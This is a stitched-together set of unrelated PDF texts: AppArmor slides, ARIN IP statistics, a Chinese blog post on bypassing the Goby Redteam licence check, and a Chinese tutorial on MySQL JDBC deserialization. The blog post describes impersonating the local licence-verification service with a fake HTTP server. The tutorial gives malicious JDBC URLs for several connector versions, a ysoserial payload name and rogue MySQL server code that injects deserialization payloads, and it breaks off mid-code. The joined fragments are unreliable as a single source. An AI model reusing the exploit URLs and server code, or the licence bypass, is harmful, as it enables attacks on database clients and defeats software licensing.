Includes Default Set of Policies /etc/apparmor.d (default loaded) – netstat – ping – klogd – syslog – ldd – squid – traceroute – identd – mdnsd – named – nscd – ntpd /etc/apparmor/extras (not loaded, but available) – firefox – opera – evolution – gaim – realplay – postfix – acroread – mysqld – ethereal – postfix – sendmail – many more... AppArmor Demo © Novell Inc. All rights reserved 23 Apache Profiling 1. Local Apache web server running vulnerable PHF script 2. Exploit PHF vulnerability; deface web page 3. Develop profiles for Apache and PHF app 4. Try hack again; hack fails © Novell Inc. All rights reserved 24 The Setup 1. open a terminal window for commands and type “demoreset.sh” to reset the demo. 2. open a second terminal window and type the “tail” command shown to view the syslog 3. open a browser and click on the “Digital Airlines” bookmark to bring up the demo homepage 4. open YaST and click on the AppArmor icon to bring up the AppArmor control center © Novell Inc. All rights reserved 25 The Hack 1. click the “PHF” bookmark to pull up the vulnerable PHF application 2. click the “Hack” bookmark to run the hack that defaces the homepage. 3. now click the “Digital Airlines” bookmark to show that the homepage has been defaced! 4. click the “Unhack” bookmark to reset the homepage, then click on the Digital Airlines bookmark. © Novell Inc. All rights reserved 26 Choosing the Application 1. in YaST, click the Add Profile Wizard to select the app to be profiled 2. type the path to apache as shown (or browse to it) 3. the wizard tells you to start the target app and exercise its functionality © Novell Inc. All rights reserved 27 Exercising Apache 1. at the command line, restart apache as shown 2. visit the homepage... 3. ... and visit the PHF application. Now we have a syslog full of apache events. 4. back in YaST, click on the “Scan” button to start developing policy © Novell Inc. All rights reserved 28 Creating AppArmor Policy 1. the Wizard asks us if the PHF app should have its own profile... we say “yes” by clicking on the “Profile” radio button, then “Allow” 2. now the Wizard notices apache needs a few POSIX capabilities. We “Allow” all of them. © Novell Inc. All rights reserved 29 Creating AppArmor Policy 2 1. the Wizard asks about a file accessed by apache. We click the “Glob” button twice to allow read access to all files in the apache2 directory, then “Allow” 2. the Wizard notices apache needs access to /etc/group and suggests we “include” the nameservice abstraction. © Novell Inc. All rights reserved 30 Creating Apache Policy 3 1. apache accesses several libraries. We click on “Glob w/Ext” to give apache read access to all libraries in this directory. 2. after several more questions, we're finished. We click on “Finish” and answer “Yes” to exit. © Novell Inc. All rights reserved 31 Blocking the Attack 1. back at our website, we pull up the homepage, try the hack and see that the home page remains intact! 2. looking at the syslog, we see a “REJECT” entry telling us an attempted attack via the phf application was blocked by the newly created AppArmor profiles. © Novell Inc. All rights reserved 32 Reviewing our Apache Policy 1. at the YaST control center, click on “Edit Profile” to bring up a list of profiles on the box, scroll down and highlight the apache profile and click “Next” 2. the apache profile that we just created is shown here. © Novell Inc. All rights reserved 33 What Else Can I Do? Enable/Disable AppArmor and configure reporting and alerting View a report showing AppArmor events and filter by program name, date, time, etc. Update loaded profiles based on syslogged activity since last update © Novell Inc. All rights reserved 34 Sub-process Confinement Apache mod_perl and mod_php scripts – Apache mod_apparmor applies new protection before interpreting scripts – If a specific profile for that scrpt exists, it is used – If no specific profile exists, then a default script profile is used – Impact: don't need to run all CGIs with the full privilege of Apache just to get mod_perl efficiency – The only known way to defend PHP code Login Authentication – Add a similar module to PAM: pam_armor – Pre-authentication, sshd and logind are in a restrictive profile – Post-authentication, can transition to per-user profile © Novell Inc. All rights reserved 35 YaST Integration © Novell Inc. All rights reserved 36 Command-line Interface There is also a command-line interface • for those of us allergic to mice :-) © Novell Inc. All rights reserved 37 GAIM Profile Console Tools • Create the profile template – cd /opt/gnome/bin – genprof gaim • Exercise GAIM – start, chat, stop • Create profile entries – [S]can log for profile entries – [F]inish (GAIM profile is loaded) • View profile – vim opt.gnome.bin.gaim – syntax on – set syntax=subdomain Makes it safe to talk to strangers © Novell Inc. All rights reserved 38 Network-secure a System © Novell Inc. All rights reserved 39 Network-secure a System 1.Pick an unconfined service from the list 2.Confine it the way we confined Apache and GAIM 3.Continue until all open ports lead to AppArmor profiles Result: – There is no way onto the machine except through an AppArmor profile – AppArmor policy completely controls network access to the machine – Nowhere near having profiled all software on the machine Best Uses For AppArmor © Novell Inc. All rights reserved 41 Best Targets for AppArmor Any Company whose networked servers are running mission critical applications Any organization with a high cost associated with compromised data Any organization faced with regulatory compliance ... Any Linux application is exposed to attack and that matters :-) © Novell Inc. All rights reserved 42 Best Targets for AppArmor ● Isolate all programs interacting with outside world ● Auto-scan tool finds applications that should be profiled ● Profiles represent your total exposure – auditable policy Networked Servers ● Complex, not easily auditable for security ● May be closed source ● Prevents attacks on one component from spreading to other components or systems Business Applications ● Profiles for desktop applications that process external data ● Separates these programs from other applications/data on the system ● Protects high-risk programs Corporate Desktop ● Isolate all programs interacting with outside world ● Comprehensive profile set defined for specific uses ● Limits misuse of machines ● AppArmor profiles for user session and executable apps POS Terminals, Kiosks © Novell Inc. All rights reserved 43 So What Happened at CtF? 2002 – Target was Red Hat, easy to port to Immunix – Too focused on Immunix, not enough on the game – Delayed launching any server until we had it running on Immunix – Placed 2nd not bad for first try 2003: Target OpenBSD – Target was OpenBSD, took longer to port – SQL injection attacks, AppArmor does not stop them – Placed 3rd hmmm ... © Novell Inc. All rights reserved 44 So What Happened at CtF? 2004: – Target Windows – A weekend is not enough time to port 5 applications from Windows to Linux under fire :-) – Placed 4th this trend does not look good 2005: – Kenshoto takes over game from Ghettohackers – Target is now under Kenshoto's control, so no more OS defensive techniques – CtF game now focused on binary code reverse engineering ... 2007 0tB/OtB brings focus back to OS Comparisons © Novell Inc. All rights reserved 46 Application Least Privilege for Linux SELinux Type Enforcement – Assign users or programs to Domains – Label files with Types – Write policy in terms of which Domains can access which Types AppArmor Pathnames – Name a program by path – When it runs, it can only access the files specified by pathname – Generalize pathnames with shell syntax wild cards © Novell Inc. All rights reserved 47 Label Splitting: SELinux Think of SELinux as Post-it NoteTM security – Label files & programs with colored stickers – Policy decides which colors can play together A single label in SELinux is an equivalence class – All files with that label are treated identically by security policy A human has to decide which files should have the same label, and which files need a different label When you get it wrong, must split the label – Relabel all affected files – Revise all polices that reference that label © Novell Inc. All rights reserved 48 AppArmor AppArmor uses explicit pathnames and regular expressions to achieve the same thing A profile rule of '/srv/www/htdoc/**.html r' is an equivalence class, with 2 differences – The class is evaluated at access time: new files are checked against policy – The class is local to a single profile: don't need to re-label the world to be able to distinguish 2 files that some other profile treats as the same © Novell Inc. All rights reserved 49 Network Storage SELinux can only do all/nothing access control for NFS- mounted volumes - SELinux depends on labels, which are stored in extended attributes, which are not supported in NFS2 or NFS3 - Applies a single label to the mount point - Policies either grant or deny access to the entire NFS volume AppArmor does not use extended attributes - Can write fine-grained profiles that grant access to individual files that reside on NFS volumes © Novell Inc. All rights reserved 50 AppArmor vs. SELinux: Creating Policy SELinux audit2allow 1. Create a file at $SELINUX_SRC/domains/program/foo.te. 2. Put the daemon domain macro call in the file. 3. Create the file contexts file. 4. Put the first list of file contexts in file.fc. 5. Load the new policy with make load. 6. Label the foo files. 7. Start the daemon, service foo start. 8. Examine your audit log for denial messages. 9. Familiarize yourself with the errors the daemon is generating. 10. Use audit2allow to start the first round of policy rules 11. Look to see if the foo_t domain tries to create a network socket 12. Continue to iterate through the basic steps to generate all the rules you need. 13. If the domain tries to access port_t, which relates to tclass=tcp_socket or tclass=udp_socket in the AVC log message, you need to determine what port number foo needs to use. 14. Iterate through the remaining AVC denials. When they are resolved with new policy, you can configure the unique port requirements for the foo_t domain. 15. With the daemon started, determine which port foo is using. 16. Remove the generic port_t rule, replacing it with a specific rule for a new port type based on the foo_t domain. AppArmor 1. Open YaST Control Center 2. Run Server Analyzer to determine which programs to profile 3. Run the Profile Wizard to generate a profile template 4. Run the application through normal operation 5. Run the interactive optimizer to synthesize log events into a profile © Novell Inc. All rights reserved 51 AppArmor vs. SELinux: Compare Resulting Policy AppArmor profile for the same program is about 4x smaller  SELinux ################################# # # Rules for the ftpd_t domain # type ftp_port_t, port_type; type ftp_data_port_t, port_type; daemon_domain(ftpd, `, auth_chkpwd') type etc_ftpd_t, file_type, sysadmfile; can_network(ftpd_t) can_ypbind(ftpd_t) allow ftpd_t self:unix_dgram_socket create_socket_perms; allow ftpd_t self:unix_stream_socket create_socket_perms; allow ftpd_t self:process {getcap setcap}; allow ftpd_t self:fifo_file rw_file_perms; allow ftpd_t bin_t:dir search; can_exec(ftpd_t, bin_t) allow ftpd_t { sysctl_t sysctl_kernel_t }:dir search; allow ftpd_t sysctl_kernel_t:file { getattr read }; allow ftpd_t urandom_device_t:chr_file { getattr read }; ifdef(`crond.te', ` system_crond_entry(ftpd_exec_t, ftpd_t) can_exec(ftpd_t, { sbin_t shell_exec_t }) ') allow ftpd_t ftp_data_port_t:tcp_socket name_bind; ifdef(`ftpd_daemon', ` define(`ftpd_is_daemon', `') ') dnl end ftpd_daemon ifdef(`ftpd_is_daemon', ` rw_dir_create_file(ftpd_t, var_lock_t) allow ftpd_t ftp_port_t:tcp_socket name_bind; allow ftpd_t self:unix_dgram_socket { sendto }; can_tcp_connect(userdomain, ftpd_t) ', ` ifdef(`inetd.te', ` domain_auto_trans(inetd_t, ftpd_exec_t, ftpd_t) ifdef(`tcpd.te', `domain_auto_trans(tcpd_t, ftpd_exec_t, ftpd_t)') # Use sockets inherited from inetd. allow ftpd_t inetd_t:fd use; allow ftpd_t inetd_t:tcp_socket rw_stream_socket_perms; # Send SIGCHLD to inetd on death. allow ftpd_t inetd_t:process sigchld; ') dnl end inetd.te ')dnl end (else) ftp_is_daemon ifdef(`ftp_shm', ` allow ftpd_t tmpfs_t:file { read write }; allow ftpd_t { tmpfs_t initrc_t }:shm { read write unix_read unix_write associate }; ') # Use capabilities. allow ftpd_t ftpd_t:capability { net_bind_service setuid setgid fowner fsetid chown sys_resource sys_chroot }; # Append to /var/log/wtmp. allow ftpd_t wtmp_t:file { getattr append }; # allow access to /home allow ftpd_t home_root_t:dir { getattr search }; # Create and modify /var/log/xferlog. type xferlog_t, file_type, sysadmfile, logfile; file_type_auto_trans(ftpd_t, var_log_t, xferlog_t, file) # Execute /bin/ls (can comment this out for proftpd) # also may need rules to allow tar etc... can_exec(ftpd_t, ls_exec_t) allow { ftpd_t initrc_t } etc_ftpd_t:file r_file_perms; allow ftpd_t { etc_t resolv_conf_t etc_runtime_t }:file { getattr read }; allow ftpd_t proc_t:file { getattr read }; ')dnl end if ftp_home_dir  AppArmor /usr/sbin/in.ftpd { #include <immunix-standard/base> #include <immunix-standard/nameservice> #include <immunix-standard/authentication> #include <user-custom/ftpd> / r, /dev/urandom r, /etc/fstab r, /etc/ftpaccess r, /etc/ftpconversions r, /etc/ftphosts r, /etc/ftpusers r, /etc/shells r, /usr/sbin/in.ftpd r, /usr/share/ssl/certs/ca-bundle.crt r, /usr/share/ssl/certs/ftpd-rsa.pem r, /usr/share/ssl/private/ftpd-rsa-key.pem r, /usr/share/ssl/.rnd w, /var/log/xferlog w, /var/run wr, /var/run/ftp.{pids,rips}-all wr, } © Novell Inc. All rights reserved 52 AppArmor vs. SELinux: Compare Resulting Policy AppArmor profile for the same program is about 4x smaller  SELinux ################################# # # Rules for the ftpd_t domain # type ftp_port_t, port_type; type ftp_data_port_t, port_type; daemon_domain(ftpd, `, auth_chkpwd') type etc_ftpd_t, file_type, sysadmfile; can_network(ftpd_t) can_ypbind(ftpd_t) allow ftpd_t self:unix_dgram_socket create_socket_perms; allow ftpd_t self:unix_stream_socket create_socket_perms; allow ftpd_t self:process {getcap setcap}; allow ftpd_t self:fifo_file rw_file_perms; allow ftpd_t bin_t:dir search; can_exec(ftpd_t, bin_t) allow ftpd_t { sysctl_t sysctl_kernel_t }:dir search; allow ftpd_t sysctl_kernel_t:file { getattr read }; allow ftpd_t urandom_device_t:chr_file { getattr read }; ifdef(`crond.te', ` system_crond_entry(ftpd_exec_t, ftpd_t) can_exec(ftpd_t, { sbin_t shell_exec_t }) ') allow ftpd_t ftp_data_port_t:tcp_socket name_bind; ifdef(`ftpd_daemon', ` define(`ftpd_is_daemon', `') ') dnl end ftpd_daemon ifdef(`ftpd_is_daemon', ` rw_dir_create_file(ftpd_t, var_lock_t) allow ftpd_t ftp_port_t:tcp_socket name_bind; allow ftpd_t self:unix_dgram_socket { sendto }; can_tcp_connect(userdomain, ftpd_t) ', ` ifdef(`inetd.te', ` domain_auto_trans(inetd_t, ftpd_exec_t, ftpd_t) ifdef(`tcpd.te', `domain_auto_trans(tcpd_t, ftpd_exec_t, ftpd_t)') # Use sockets inherited from inetd. allow ftpd_t inetd_t:fd use; allow ftpd_t inetd_t:tcp_socket rw_stream_socket_perms; # Send SIGCHLD to inetd on death. allow ftpd_t inetd_t:process sigchld; ') dnl end inetd.te ')dnl end (else) ftp_is_daemon ifdef(`ftp_shm', ` allow ftpd_t tmpfs_t:file { read write }; allow ftpd_t { tmpfs_t initrc_t }:shm { read write unix_read unix_write associate }; ') # Use capabilities. allow ftpd_t ftpd_t:capability { net_bind_service setuid setgid fowner fsetid chown sys_resource sys_chroot }; # Append to /var/log/wtmp. allow ftpd_t wtmp_t:file { getattr append }; # allow access to /home allow ftpd_t home_root_t:dir { getattr search }; # Create and modify /var/log/xferlog. type xferlog_t, file_type, sysadmfile, logfile; file_type_auto_trans(ftpd_t, var_log_t, xferlog_t, file) # Execute /bin/ls (can comment this out for proftpd) # also may need rules to allow tar etc... can_exec(ftpd_t, ls_exec_t) allow { ftpd_t initrc_t } etc_ftpd_t:file r_file_perms; allow ftpd_t { etc_t resolv_conf_t etc_runtime_t }:file { getattr read }; allow ftpd_t proc_t:file { getattr read }; ')dnl end if ftp_home_dir SELinux uses a custom programming language to specify hard-to-manage rules . ifdef(`ftpd_daemon', ` define(`ftpd_is_daemon', `') ') dnl end ftpd_daemon ifdef(`ftpd_is_daemon', ` rw_dir_create_file(ftpd_t, var_lock_t) allow ftpd_t ftp_port_t:tcp_socket name_bind; allow ftpd_t self:unix_dgram_socket { sendto }; can_tcp_connect(userdomain, ftpd_t) ', ` ifdef(`inetd.te', ` domain_auto_trans(inetd_t, ftpd_exec_t, ftpd_t) ifdef(`tcpd.te', `domain_auto_trans(tcpd_t, ftpd_exec_t, ftpd_t)') # Use sockets inherited from inetd. allow ftpd_t inetd_t:fd use; allow ftpd_t inetd_t:tcp_socket rw_stream_socket_perms; # Send SIGCHLD to inetd on death. allow ftpd_t inetd_t:process sigchld; ') dnl end inetd.te ')dnl end (else) ftp_is_daemon ifdef(`ftp_shm', ` allow ftpd_t tmpfs_t:file { read write }; allow ftpd_t { tmpfs_t initrc_t }:shm { read write unix_read unix_write associate }; ') . .  AppArmor /usr/sbin/in.ftpd { #include <immunix-standard/base> #include <immunix-standard/nameservice> #include <immunix-standard/authentication> #include <user-custom/ftpd> / r, /dev/urandom r, /etc/fstab r, /etc/ftpaccess r, /etc/ftpconversions r, /etc/ftphosts r, /etc/ftpusers r, /etc/shells r, /usr/sbin/in.ftpd r, /usr/share/ssl/certs/ca-bundle.crt r, /usr/share/ssl/certs/ftpd-rsa.pem r, /usr/share/ssl/private/ftpd-rsa-key.pem r, /usr/share/ssl/.rnd w, /var/log/xferlog w, /var/run wr, /var/run/ftp.{pids,rips}-all wr, } Classical Linux syntax with read/write/execute permissions: No new jargon /usr/sbin/in.ftpd { #include <immunix-standard/base> #include <immunix-standard/nameservice> #include <immunix-standard/authentication> #include <user-custom/ftpd> / r, /dev/urandom r, /etc/fstab r, /etc/ftpaccess r, /etc/ftpconversions r, /etc/ftphosts r, /etc/ftpusers r, /etc/shells r, /usr/sbin/in.ftpd r, /usr/share/ssl/certs/ca-bundle.crt r, /usr/share/ssl/certs/ftpd-rsa.pem r, /usr/share/ssl/private/ftpd-rsa-key.pem r, /usr/share/ssl/.rnd w, /var/log/xferlog w, /var/run wr, /var/run/ftp.{pids,rips}-all wr, } © Novell Inc. All rights reserved 53 SELinux New GUI Tools Advanced GUIs for enabling and disabling chunks of pre- written policies – No help for authoring new policies Works great for software that someone else has already profiled for you – Problematic for your in-house and 3rd party software AppArmor: – It's not the GUI, it is the fundamental model AppArmor Roadmap © Novell Inc. All rights reserved 55 AppArmor Near Term Development Network Access Control – TCP/UDP based network access control per process Profile Merge Tool – allows two profiles to be merged into a single profile consisting of union set of both Profile Sharing – tools and portal for community sharing of AppArmor profiles Tomcat Support – AppArmor containment for Java servlets PAM change_hat – strengthens security of AppArmor's role-based shell functionality for applications that use PAM (e.g., sshd, gdm, ftp) CIM Providers – Standards based CIM instrumentation for Reporting, Alerting, Profile State © Novell Inc. All rights reserved 56 AppArmor Future Development DB Armor – access controls for database tables and files Default Policy – system level list of resources that can only be accesses through an AppArmor profile DBUS Event Advertising – report security events via DBUS DBUS / HAL Event Mediation – containment for hardware abstraction layer IPC Mediation – mediate inter-process communication Enterprise Management – integration with Novell enterprise management system Profile Lint – tool for analyzing profiles for dangerous rules Resource Limits Mediation Centralized Profile Development © Novell Inc. All rights reserved 57 Availability AppArmor bundled with: – SLES10 – SLED10 – openSUSE 10.1, 10.2 ... AppArmor is open source: GPL – http://opensuse.org/AppArmor – Mailing lists: apparmor-announce, apparmor-general, apparmor-dev – IRC irc.oftc.net/#apparmor © Novell Inc. All rights reserved 58 AppArmor for Ubuntu AppArmor ported to Ubuntu by Magnus Runesson – http://www.linuxalert.org/ubuntu/apparmor/ AppArmor in Universe for Feisty Fawn AppArmor going into Main for Gutsy Gibbon User feedback on profiles is very helpful © Novell Inc. All rights reserved 59 AppArmor for Everyone Ported to Gentoo by Mathew Snelham: – http://sigalrm.com/apparmor/apparmor-ebuilds_20061013 Debian: – Should be easy to generate from Ubuntu port – Need a maintainer – AppArmor's ease of use makes it a good idea for a de facto Linux security standard © Novell Inc. All rights reserved 60 AppArmor for Debian AppArmor has already been ported to Ubuntu by Magnus Runesson – http://www.linuxalert.org/ubuntu/apparmor/ – In discussion for mainstream inclusion in future Ubuntu releases and to Gentoo by Mathew Snelham – http://sigalrm.com/apparmor/apparmor-ebuilds_20061013 Debian: – Should be easy to generate from Ubuntu port – Need a maintainer © Novell Inc. All rights reserved 61 AppArmor for Red Hat AppArmor has been ported to RH variants multiple times – But the people doing the work didn't want to be public maintainers, so no public repository Steve Beattie @ SUSE ported to RHEL5 – http://developer.novell.com/wiki/index.php/Special:Downloads/ apparmor/Development_-_RHEL5_beta_2_packages/ – http://software.opensuse.org/download/home:/steve- beattie/Fedora_Extras_6/ Seeking a RH/Fedora user to maintain the package
pdf
AfriNIC 1.48% ARIN 27% RIPE NCC 29.79% APNIC 36.51% LACNIC 5.23% IPv4 Address Space Status RIR allocations IPv4 /8s Remaining As of 31 March 2010 Available /8s As of 31 March 2010 IPv4 Allocations by RIR January 1999 - March 2010 Available 8.59% Allocated 77.74% Unavailable 13.67% GLOBAL IP ADDRESSING STATISTICS For more statistics, see ARIN’s website at https://www.arin.net/knowledge/statistics/, or contact us at info@arin.net. AfriNIC 0.1% LACNIC 0.4% APNIC 33.2% RIPE NCC 45.9% ARIN 20.4% IPv6 Allocations by RIR January 1999 - March 2010 ’09 ’10 ’08 ’06 ’07 Mar Mar Jun Jun Mar Sep Dec Mar Jun Sep Dec Mar Jun Sep Sep Dec Dec 62 62 59 55 49 49 44 42 41 39 39 34 26 22 26 32 30 IPv4 IPv6 For more statistics, see ARIN’s website at https://www.arin.net/knowledge/statistics/, or contact us at info@arin.net. /24 /23 /22 /21 /20 /19 /18 /17 /16 /15 /14 /13 /12 /11 /10 /9 ’99 ’00 ’01 ’02 ’03 ’04 ’05 ’06 ’07 ’08 50K 100K 150K 200K 250K Total IPv4/24s Issued by ARIN IPv6 Block Size Distribution January - December 2009 IPv4 Block Size Distribution January - December 2009 Total IPv6 Requests Fulflled ’99 2 7 8 16 51 42 57 75 217 245 ’00 ’01 ’02 ’03 ’04 ’05 ’06 ’07 ’08 395 ’09 /48 /47 /46 /44 /45 /43 /42 /41 /40 /39 /36 /32 # of requests ARIN IP ADDRESSING STATISTICS 50 100 150 200 250 300 ’09 100 200 300 400 500 600
pdf
1 浅谈Goby Redteam版本破解 前⾔ 基础信息收集 尝试破解 从官⽅获取Goby Redteam版本 作者:天河 Goby是⼀款新的⽹络安全测试⼯具,由赵武Zwell(Pangolin、JSky、FOFA作者)打造,它能够 针对⼀个⽬标企业梳理最全的攻击⾯信息,同时能进⾏⾼效、实战化漏洞扫描,并快速地从⼀个 验证⼊⼝点,切换到横向。我们希望能够输出更具⽣命⼒的⼯具,能够对标⿊客的实际能⼒,帮 助企业来有效地理解和应对⽹络攻击。 前⼏天在⽹络上冲浪,偶然得知goby还有Redteam版本,发现⽹络上并没有Redteam版本的破解版。 也没有相关的破解⽂章,因此我对goby的验证体系产⽣了好奇。考虑到开发者利益这⾥不展示具体破解 代码。 ⾸先从朋友那⾥要了⼀个redteam版本的goby。打开运⾏之后查看其进程。发现其存在四个进程如下图 所示。 其中三个是由goby.exe启动的,另⼀个是goby-cmd.exe启动 前⾔ 基础信息收集 2 从这⾥⼤致了解出了goby的基础架构。 猜测goby-cmd⽤于提供扫描器的⼀些核⼼功能,goby.exe⽤于提供⽤户交互的界⾯。使⽤的是 electron开发代码在app.asar中。 打开程序在左下⻆可以申请或者设置license 其中有⼀个⽐较重要的信息是MID 这⼀串值是通过对本地信息计算得到的⼀串数值。 打开wireshark,捕获本地流量,发现存在向8361端⼝访问的流量。 对http://127.0.0.1:8361/api/v1/version,以及http://127.0.0.1:8361/api/v1/getEnvi? field=licenseInfo进⾏访问获取licenseInfo等相关信息()。 这⾥我本地写了⼀个http服务尝试顶掉8361端⼝代替他进⾏回复。果然成功通过了验证机制。在验证过 后重启goby-cmd.exe提供服务。⾄此我的goby换上了Redteam版本的红⾊⽪肤。 尝试破解 Plain Text 复制代码 PID=22396 名称=goby-cmd 命令⾏参数=-mode api -bind 127.0.0.1:8361 -rate 100 -random true PID=25632 名称=Goby 命令⾏参数=--type=renderer --no-sandbox --enable-features=FixAltGraph -- service-pipe-token=XXXXX --lang=zh-CN --app-path="D:\goby-win-x64- 1.8.281\resources\app.asar" --node-integration=true --webview-tag=true PID=4640 名称=Goby 标题=Chrome_WidgetWin_0 命令⾏参数=--type=gpu-process --enable-features=FixAltGraph --no-sandbox -- gpu-preferences=XXXXXXXX PID=8648 名称=Goby 标题=Goby - Attack surface mapping 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 3 众所周知,redteam版本最⼤的不同是多出了很多的poc,通过点击右下⻆漏洞升级即可获得。 但我破解后发现⽆法获取到这些专业版本的poc。这是为什么呢? 通过对app.asar解包后阅读源码。 Plain Text 复制代码 解包⽅法如下 npm install asar -g asar e app.asar ⽂件夹 1 2 3 4 4 发现程序是通过从远程从官⽅的服务器来下载获取poc的,其中有个参数的值为⽣成的MID值,怪不得 ⽆法下载下来,原来是因为我计算机⽣成的MID值不能通过远程服务器校验。如何通过远端服务器校验 呢?要么找官⽅的⼈帮你把你的mid加进去,要么⾃⼰把服务器打下来,身为守法公⺠我当然是选择了 1(其实是因为⼆进制菜鸡根本不会渗透)。 添加了Gobybot的微信,经过询问得知可以写插件来获得,就顺⼿写了个插件,获得了⼀个⽉的 Redteam版本使⽤机会,美滋滋。 ⽽后使⽤⼀样的请求和参数再次尝试下载poc果然成功了(下载的poc是被加密过的)。验证了我的猜想, 服务端是存在校验的。 突然反应过来,我要redteam版本有啥⽤,我⼜不专⻔搞渗透。 从官⽅获取Goby Redteam版本
pdf
MySQL-JDBC反序列化 漏洞原理 参考文章: eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack 小白看得懂的MySQL JDBC 反序列化漏洞分析 MySQL JDBC 客户端反序列化漏洞分析 MySQL JDBC反序列化漏洞 上面这个是BlackHat Europe 2019议题中的利用链,在连接数据库的过程中可以触发漏洞。连接 的条件: jdbc:mysql://attacker/db? queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor &autoDeserialize=true 需要设置这个 queryInterceptors 属性。 ServerStatusDiffInterceptor 是一个拦截器,在 JDBC URL 中设定属性 queryInterceptors 为 ServerStatusDiffInterceptor 时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法,进而通过上述调用链最终调用 getObject() 方法。 payload payload 有两种触发方式, SHOW SESSION STATUS 和 SHOW COLLATION ,然后不同的 mysql- connector-java 版本之间 payload 存在区别。 ServerStatusDiffInterceptor触发: 8.x jdbc:mysql://127.0.0.1:3306/mysql? serverTimezone=UTC&characterEncoding=utf8&useSSL=false&queryInterceptors=com.my sql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true" 参 数名称: queryInterceptors 6.x jdbc:mysql://127.0.0.1:3306/mysql? serverTimezone=UTC&characterEncoding=utf8&useSSL=false&statementInterceptors=co m.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true" 参数名称: statementInterceptors >=5.1.11 jdbc:mysql://127.0.0.1:3306/mysql? serverTimezone=UTC&characterEncoding=utf8&useSSL=false&statementInterceptors=co m.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true" 参 数名称: statementInterceptors <=5.1.10 && >=5.1.0 网上的文章都说:同上,但是需要连接后执行查询。但是我从连接流量当中并没有发现请求了 SHOW SESSION STATUS 语句。但是发现他自动请求了 SHOW COLLATION 语句,不过没有用到反序 列化。 5.0.* 没有payload detectCustomCollations触发: >=5.1.41 无payload 5.1.29-5.1.40 jdbc:mysql://127.0.0.1:3306/test? detectCustomCollations=true&autoDeserialize=true 5.1.28-5.1.19 jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc <5.1.19 说是没有payload,但是之前测试 5.1.2 版的时候请求了 SHOW COLLATION 语句,好吧,没有触 发反序列化,所以确实没有 payload 漏洞复现 此处复现需要手动编写一个 mysql 服务端,然后控制客户端连接,客户端自动执行 SHOW SESSION STATUS 语句时返回我们的恶意 payload 。 jdbc 版本: 5.1.39 先来看看一次连接所发送的请求数据包 package com; import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.SQLException; public class Connect {    public static void main(String[] args) throws ClassNotFoundException, SQLException {        //1.注册数据库的驱动        /*Class.forName("com.mysql.cj.jdbc.Driver");        //2.获取数据库连接(里面内容依次是:"jdbc:mysql://主机名:端口号/数据库名","用户 名","登录密码")        Connection connection = DriverManager.getConnection( 154:是一个类似握手包的请求,是由服务端返回的内容 159:是登录请求的包,由客户端发送,然后服务端返回一个 Response OK 的包                "jdbc:mysql://127.0.0.1:3306/mysql? serverTimezone=UTC&characterEncoding=utf8&useSSL=false&queryInterceptors=com.mys ql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true",                "root","root");        //3.需要执行的sql语句(?是占位符,代表一个参数)        connection.close();*/        Class.forName("com.mysql.jdbc.Driver");        Connection connection = DriverManager.getConnection(                "jdbc:mysql://127.0.0.1:3306/mysql? serverTimezone=UTC&characterEncoding=utf8&useSSL=false&statementInterceptors=com .mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true",                "root", "root"       );        connection.close();   } } 171: show session status 请求包 对于这个响应包,需要重点关注,要了解一下他的结构,因为这个包中要插入我们伪造的 payload ,但是原始的数据结构不能被破坏。然后对于其他的请求和响应数据包,只要正常的模 拟,然后返回对应的数据即可。 show session status 的数据包分析 请求中发了多次 show session status 请求,需要分析这个请求的数据格式,然后将自己的 payload 填充。 数据包结构参考文章 ProtocolText::Resultset 0100000102 :响应的第一段数据,其中 010000 表示数据段长度 直接上代码吧。最后这个数据包,我按照原生的正确请求去构造,然后替换payload死活不行。然 后用参考文章中算出来的paylod数据还是可行的。但是中间又两个结构没搞清。。。。他的官方 结构里也没写。 package com; import java.io.*; import java.net.ServerSocket; import java.net.Socket; import java.nio.charset.StandardCharsets; import java.util.HashMap; import java.util.Locale; public class Server {    private static ServerSocket serverSocket;    private static final String response_ok = "0700000200000002000000";    private static final String greating_data = "4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff81150000000000000 0000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400";    private static final String sessionAuto = "01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656 e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f73657 45f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637 465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b000005036465660 00000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a0 0000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd0 0001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21003300000 0fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd0 0001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001 500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001 f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f0 01500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b657 4000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d6 56f7574000c3f001500000008a0000000002600000e036465660000001071756572795f636163686 55f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616 368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6 465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7 a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000 c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6 c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d6 56f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066 c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c01310734313 9343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5 354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a4 